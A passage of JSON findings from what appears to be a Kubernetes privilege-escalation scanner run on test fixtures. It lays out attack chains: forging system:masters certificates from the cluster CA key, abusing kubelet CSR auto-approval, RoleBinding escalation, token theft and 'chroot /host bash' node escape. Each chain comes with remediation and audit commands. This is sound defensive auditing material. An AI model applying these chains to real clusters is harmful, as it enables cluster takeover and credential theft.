    "description": "Subject `ServiceAccount/statusspoof-fixtures/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/statusspoof-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS\n  2. `ServiceAccount/statusspoof-fixtures/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "statusspoof-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/statusspoof-fixtures/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/statusspoof-fixtures/default`.",
      "Acting as `ServiceAccount/statusspoof-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/statusspoof-fixtures/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/statusspoof-fixtures/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/statusspoof-fixtures/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "statusspoof-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "statusspoof-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/nodeid-fixtures/nodeid-joiner:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 8.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can **obtain a node identity** for any node in 1 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 1,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/deepchain-tenant/deepchain-binder:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.200000000000001,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-binder` can reach **node escape** (host root) in 3 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-binder` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `ServiceAccount/deepchain-tenant/deepchain-privileged` via `colocated_sa_token_theft` (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged\n  3. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-binder` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-binder` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/deepchain-tenant/deepchain-binder`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker uses the `colocated_sa_token_theft` technique to reach `ServiceAccount/deepchain-tenant/deepchain-privileged` via `namespace-admin in deepchain-tenant`, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update rolebindings + bind (cluster)roles]",
        "2. colocated_sa_token_theft [namespace-admin in deepchain-tenant]",
        "3. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 3,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "modify_role_binding",
        "colocated_sa_token_theft",
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "colocated_sa_token_theft",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "permission": "namespace-admin in deepchain-tenant",
        "gains": "can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged"
      },
      {
        "step": 3,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/nodeid-fixtures/nodeid-joiner:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.200000000000001,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can reach **node escape** (host root) in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-joiner` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 3,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
